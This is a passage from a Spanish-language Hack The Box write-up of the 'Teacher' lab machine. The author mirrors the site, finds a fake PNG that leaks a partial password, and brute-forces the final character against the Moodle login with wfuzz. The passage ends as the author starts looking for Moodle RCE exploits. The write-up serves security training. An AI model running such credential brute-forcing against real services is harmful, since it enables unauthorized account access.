</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 212 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_menu_trigger@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_menu_trigger@2x.png      100%[=====================================================================================================&gt;]     212  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:31 (7.82 MB/s) - “10.10.10.153/images/bg_menu_trigger@2x.png” guardado [212/212]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:31--  http://10.10.10.153/images/bg_menu_trigger.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 974 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_menu_trigger.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_menu_trigger.png         100%[=====================================================================================================&gt;]     974  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:31 (87.0 MB/s) - “10.10.10.153/images/bg_menu_trigger.png” guardado [974/974]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:31--  http://10.10.10.153/images/5.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 200 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/5.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/5.png                       100%[=====================================================================================================&gt;]     200  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:31 (25.9 MB/s) - “10.10.10.153/images/5.png” guardado [200/200]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:31--  http://10.10.10.153/images/5_2.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 6617 (6.5K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/5_2.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/5_2.png                     100%[=====================================================================================================&gt;]   6.46K  --.-KB/s    en 0.006s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:32 (1010 KB/s) - “10.10.10.153/images/5_2.png” guardado [6617/6617]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:32--  http://10.10.10.153/images/5_3.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 6473 (6.3K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/5_3.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/5_3.png                     100%[=====================================================================================================&gt;]   6.32K  --.-KB/s    en 0.002s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:32 (2.69 MB/s) - “10.10.10.153/images/5_3.png” guardado [6473/6473]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:32--  http://10.10.10.153/images/5_4.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 6294 (6.1K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/5_4.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/5_4.png                     100%[=====================================================================================================&gt;]   6.15K  --.-KB/s    en 0.009s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:32 (711 KB/s) - “10.10.10.153/images/5_4.png” guardado [6294/6294]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:32--  http://10.10.10.153/images/5_5.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 6757 (6.6K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/5_5.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/5_5.png                     100%[=====================================================================================================&gt;]   6.60K  --.-KB/s    en 0.005s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:32 (1.22 MB/s) - “10.10.10.153/images/5_5.png” guardado [6757/6757]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:32--  http://10.10.10.153/images/5_6.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 6910 (6.7K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/5_6.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/5_6.png                     100%[=====================================================================================================&gt;]   6.75K  --.-KB/s    en 0.003s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:32 (2.26 MB/s) - “10.10.10.153/images/5_6.png” guardado [6910/6910]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:32--  http://10.10.10.153/images/5_7.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 6812 (6.7K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/5_7.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/5_7.png                     100%[=====================================================================================================&gt;]   6.65K  --.-KB/s    en 0.002s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:32 (2.66 MB/s) - “10.10.10.153/images/5_7.png” guardado [6812/6812]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:32--  http://10.10.10.153/images/5_8.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 5861 (5.7K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/5_8.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/5_8.png                     100%[=====================================================================================================&gt;]   5.72K  --.-KB/s    en 0.002s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:32 (2.41 MB/s) - “10.10.10.153/images/5_8.png” guardado [5861/5861]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:32--  http://10.10.10.153/images/5_9.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 6898 (6.7K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/5_9.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/5_9.png                     100%[=====================================================================================================&gt;]   6.74K  --.-KB/s    en 0.004s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:32 (1.52 MB/s) - “10.10.10.153/images/5_9.png” guardado [6898/6898]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:32--  http://10.10.10.153/images/5_10.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 6708 (6.6K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/5_10.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/5_10.png                    100%[=====================================================================================================&gt;]   6.55K  --.-KB/s    en 0.003s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:32 (2.39 MB/s) - “10.10.10.153/images/5_10.png” guardado [6708/6708]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:32--  http://10.10.10.153/images/5_11.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 6669 (6.5K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/5_11.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/5_11.png                    100%[=====================================================================================================&gt;]   6.51K  --.-KB/s    en 0.007s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:33 (953 KB/s) - “10.10.10.153/images/5_11.png” guardado [6669/6669]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:33--  http://10.10.10.153/images/5_12.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 6279 (6.1K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/5_12.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/5_12.png                    100%[=====================================================================================================&gt;]   6.13K  --.-KB/s    en 0.002s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:33 (2.78 MB/s) - “10.10.10.153/images/5_12.png” guardado [6279/6279]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:33--  http://10.10.10.153/images/5_13.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 6861 (6.7K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/5_13.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/5_13.png                    100%[=====================================================================================================&gt;]   6.70K  --.-KB/s    en 0.005s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:33 (1.23 MB/s) - “10.10.10.153/images/5_13.png” guardado [6861/6861]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:33--  http://10.10.10.153/images/5_14.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 6063 (5.9K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/5_14.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/5_14.png                    100%[=====================================================================================================&gt;]   5.92K  --.-KB/s    en 0.003s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:33 (1.92 MB/s) - “10.10.10.153/images/5_14.png” guardado [6063/6063]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:33--  http://10.10.10.153/images/5_15.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 6564 (6.4K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/5_15.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/5_15.png                    100%[=====================================================================================================&gt;]   6.41K  --.-KB/s    en 0.003s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:33 (2.05 MB/s) - “10.10.10.153/images/5_15.png” guardado [6564/6564]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:33--  http://10.10.10.153/images/5_16.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 6247 (6.1K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/5_16.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/5_16.png                    100%[=====================================================================================================&gt;]   6.10K  --.-KB/s    en 0.002s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:33 (3.07 MB/s) - “10.10.10.153/images/5_16.png” guardado [6247/6247]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ACABADO --2019-01-15 20:26:33--
</span></span><span style="display:flex;"><span>Tiempo total de reloj: 11s
</span></span><span style="display:flex;"><span>Descargados: 85 ficheros, 2.2M en 1.8s (1.20 MB/s)
</span></span></code></pre></div><p>Revisando archivo por archivo no encontraremos nada importante. Pero algo llamo mi atención al hacer un file sobre todos los archivos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher/10.10.10.153$ find . -exec file {} \;
</span></span><span style="display:flex;"><span>.: directory
</span></span><span style="display:flex;"><span>./css: directory
</span></span><span style="display:flex;"><span>./css/style.css: ASCII text, with CRLF line terminators
</span></span><span style="display:flex;"><span>./fonts: directory
</span></span><span style="display:flex;"><span>./fonts/BebasNeueBold.eot?: Embedded OpenType (EOT), BebasNeueBold family
</span></span><span style="display:flex;"><span>./fonts/BebasNeueBook.svg: SVG Scalable Vector Graphics image
</span></span><span style="display:flex;"><span>./fonts/BebasNeueRegular.svg: SVG Scalable Vector Graphics image
</span></span><span style="display:flex;"><span>./fonts/BebasNeueBold.woff: Web Open Font Format, TrueType, length 31404, version 1.300
</span></span><span style="display:flex;"><span>./fonts/BebasNeueBook.ttf: TrueType Font data, 18 tables, 1st &#34;FFTM&#34;, 32 names, Macintosh
</span></span><span style="display:flex;"><span>./fonts/BebasNeueBook.eot?: Embedded OpenType (EOT), BebasNeueBook family
</span></span><span style="display:flex;"><span>./fonts/BebasNeueBold.svg: SVG Scalable Vector Graphics image
</span></span><span style="display:flex;"><span>./fonts/BebasNeueBook.eot: Embedded OpenType (EOT), BebasNeueBook family
</span></span><span style="display:flex;"><span>./fonts/BebasNeueBold.eot: Embedded OpenType (EOT), BebasNeueBold family
</span></span><span style="display:flex;"><span>./fonts/BebasNeueBook.woff: Web Open Font Format, TrueType, length 34696, version 1.3
</span></span><span style="display:flex;"><span>./fonts/BebasNeueBold.ttf: TrueType Font data, 18 tables, 1st &#34;FFTM&#34;, 32 names, Macintosh
</span></span><span style="display:flex;"><span>./fonts/BebasNeueRegular.ttf: TrueType Font data, 18 tables, 1st &#34;FFTM&#34;, 30 names, Macintosh
</span></span><span style="display:flex;"><span>./fonts/BebasNeueRegular.eot: Embedded OpenType (EOT), BebasNeueRegular family
</span></span><span style="display:flex;"><span>./fonts/BebasNeueRegular.eot?: Embedded OpenType (EOT), BebasNeueRegular family
</span></span><span style="display:flex;"><span>./fonts/BebasNeueRegular.woff: Web Open Font Format, TrueType, length 33700, version 1.3
</span></span><span style="display:flex;"><span>./index.html: HTML document, UTF-8 Unicode text
</span></span><span style="display:flex;"><span>./gallery.html: HTML document, ASCII text, with CRLF line terminators
</span></span><span style="display:flex;"><span>./js: directory
</span></span><span style="display:flex;"><span>./js/plugins.js: ASCII text, with very long lines, with CRLF line terminators
</span></span><span style="display:flex;"><span>./js/jquery-1.11.1.min.js: ASCII text, with very long lines
</span></span><span style="display:flex;"><span>./js/main.js: ASCII text, with CRLF line terminators
</span></span><span style="display:flex;"><span>./images: directory
</span></span><span style="display:flex;"><span>./images/bg_white.png: PNG image data, 1920 x 30, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/logo.png: PNG image data, 121 x 134, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/pic_slide.jpg: JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=12, height=600, bps=158, PhotometricIntepretation=RGB, orientation=upper-left, width=1920], progressive, precision 8, 1920x600, components 3
</span></span><span style="display:flex;"><span>./images/5_13.png: PNG image data, 153 x 153, 8-bit/color RGB, non-interlaced
</span></span><span style="display:flex;"><span>./images/5_5.png: PNG image data, 153 x 153, 8-bit/color RGB, non-interlaced
</span></span><span style="display:flex;"><span>./images/5.png: ASCII text
</span></span><span style="display:flex;"><span>./images/5_4.png: PNG image data, 153 x 153, 8-bit/color RGB, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_place_2.png: PNG image data, 13 x 16, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_arrow_blue_dark@2x.png: PNG image data, 20 x 14, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/5_8.png: PNG image data, 153 x 153, 8-bit/color RGB, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_contacts@2x.png: PNG image data, 64 x 172, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_slider_nav.png: PNG image data, 24 x 13, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_place.png: PNG image data, 13 x 16, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_place_2@2x.png: PNG image data, 26 x 32, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_menu_trigger.png: PNG image data, 31 x 30, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/5_16.png: PNG image data, 153 x 153, 8-bit/color RGB, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_time_2@2x.png: PNG image data, 33 x 33, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_arrow_information@2x.png: PNG image data, 360 x 114, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_close.png: PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_place@2x.png: PNG image data, 26 x 32, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_arrow_blue.png: PNG image data, 10 x 7, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_close@2x.png: PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_arrow_nav.png: PNG image data, 52 x 17, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_arrow@2x.png: PNG image data, 72 x 38, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_time@2x.png: PNG image data, 33 x 33, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_form.png: PNG image data, 19 x 173, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/1.png: PNG image data, 112 x 112, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/3.png: PNG image data, 242 x 268, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/5_7.png: PNG image data, 153 x 153, 8-bit/color RGB, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_slider_nav_2@2x.png: PNG image data, 64 x 34, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_arrow.png: PNG image data, 36 x 19, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/1_1.png: PNG image data, 112 x 112, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_white_arrow@2x.png: PNG image data, 232 x 60, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_time_2.png: PNG image data, 17 x 16, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_arrow_nav@2x.png: PNG image data, 104 x 34, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_arrow_select.png: PNG image data, 15 x 7, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/5_12.png: PNG image data, 153 x 153, 8-bit/color RGB, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_white@2x.png: PNG image data, 3840 x 60, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_form@2x.png: PNG image data, 38 x 346, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_information@2x.png: PNG image data, 129 x 129, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_social@2x.png: PNG image data, 104 x 106, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_blue.png: PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_time.png: PNG image data, 17 x 16, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/5_14.png: PNG image data, 153 x 153, 8-bit/color RGB, non-interlaced
</span></span><span style="display:flex;"><span>./images/5_6.png: PNG image data, 153 x 153, 8-bit/color RGB, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_contacts.png: PNG image data, 32 x 86, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_arrow_blue@2x.png: PNG image data, 20 x 14, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/5_3.png: PNG image data, 153 x 153, 8-bit/color RGB, non-interlaced
</span></span><span style="display:flex;"><span>./images/logo@2x.png: PNG image data, 242 x 268, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/5_2.png: PNG image data, 153 x 153, 8-bit/color RGB, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_arrow_information.png: PNG image data, 180 x 57, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_menu_trigger@2x.png: PNG image data, 62 x 60, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/5_9.png: PNG image data, 153 x 153, 8-bit/color RGB, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_slider_nav_2.png: PNG image data, 32 x 17, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/5_10.png: PNG image data, 153 x 153, 8-bit/color RGB, non-interlaced
</span></span><span style="display:flex;"><span>./images/2.png: PNG image data, 242 x 268, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_information.png: PNG image data, 65 x 64, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_arrow_blue_dark.png: PNG image data, 10 x 7, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_slider_nav@2x.png: PNG image data, 48 x 26, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_arrow_select@2x.png: PNG image data, 30 x 14, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/5_15.png: PNG image data, 153 x 153, 8-bit/color RGB, non-interlaced
</span></span><span style="display:flex;"><span>./images/5_11.png: PNG image data, 153 x 153, 8-bit/color RGB, non-interlaced
</span></span><span style="display:flex;"><span>./images/ico_social.png: PNG image data, 52 x 53, 8-bit/color RGBA, non-interlaced
</span></span><span style="display:flex;"><span>./images/bg_white_arrow.png: PNG image data, 117 x 30, 8-bit/color RGBA, non-interlaced
</span></span></code></pre></div><p>Exactamente en:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>./images/5.png: ASCII text
</span></span></code></pre></div><p>Mas concretamente si visitamos la pagina veremos como aparece &ldquo;rota&rdquo; la imagen:</p>
<p><img src="/img/htb-teacher/www-gallery.png" alt="image 5 of gallery"></p>
<p>Algo no esta bien aquí.</p>
<p>Tratemos esto como si fuera un CTF y estamos ante un reto stego:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$ file 5.png
</span></span><span style="display:flex;"><span>5.png: ASCII text
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$ cat 5.png
</span></span><span style="display:flex;"><span>Hi Servicedesk,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>I forgot the last charachter of my password. The only part I remembered is Th4C00lTheacha.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Could you guys figure out what the last charachter is, or just reset it?
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Thanks,
</span></span><span style="display:flex;"><span>Giovanni
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$
</span></span></code></pre></div><p>Tenemos un patrón de contraseña <code>Th4C00lTheacha</code> y un usuario <strong>Giovanni</strong></p>
<h1 id="bruteforcing-giovannis-password">Bruteforcing Giovanni&rsquo;s password</h1>
<p>Para encontrar las credenciales de Giovanni, usaremos <code>wfuzz</code> sobre la aplicación de moodle (ya que en blackhatuni no podemos hacer nada mas de momento):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$ wfuzz -c -z file,/home/xbytemx/git/SecLists/Fuzzing/alphanum-case-extra.txt --hh 440 -d &#39;username=Giovanni&amp;password=Th4C00lTheachaFUZZ&#39; http://10.10.10.153/moodle/login/index.php
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#39;s documentation for more information.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>********************************************************
</span></span><span style="display:flex;"><span>* Wfuzz 2.3.4 - The Web Fuzzer                         *
</span></span><span style="display:flex;"><span>********************************************************
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Target: http://10.10.10.153/moodle/login/index.php
</span></span><span style="display:flex;"><span>Total requests: 95
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>==================================================================
</span></span><span style="display:flex;"><span>ID   Response   Lines      Word         Chars          Payload
</span></span><span style="display:flex;"><span>==================================================================
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>000003:  C=303      6 L	      34 W	    454 Ch	  &#34;#&#34;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Total time: 17.16874
</span></span><span style="display:flex;"><span>Processed Requests: 95
</span></span><span style="display:flex;"><span>Filtered Requests: 94
</span></span><span style="display:flex;"><span>Requests/sec.: 5.533309
</span></span></code></pre></div><ul>
<li><code>-c</code> para agregarle colores, los cuales no sirven en este caso.</li>
<li><code>-z file,/home/xbytemx/git/SecLists/Fuzzing/alphanum-case-extra.txt</code> para indicar cual es el diccionario a usar.</li>
<li><code>--hh 440</code> para indicar que mensajes debe ignorar dependiendo de la cantidad de caracteres, en este caso 440 Chars se ignoran.</li>
<li><code>-d 'username=Giovanni&amp;password=Th4C00lTheachaFUZZ'</code> para indicarle que se trata de un POST y el data es el usuario y contraseña + FUZZ</li>
</ul>
<p><code>wfuzz</code> nos ha ayudado a identificar las contraseñas de Gio:</p>
<blockquote>
<p>creds: Giovanni:Th4C00lTheacha#</p>
</blockquote>
<h1 id="exploiting-moodle-34">Exploiting moodle 3.4</h1>
<p>Ahora que tenemos unas credenciales validas y podemos entrar a moodle, buscaremos exploits existentes que nos puedan conducir a un RCE:</p>
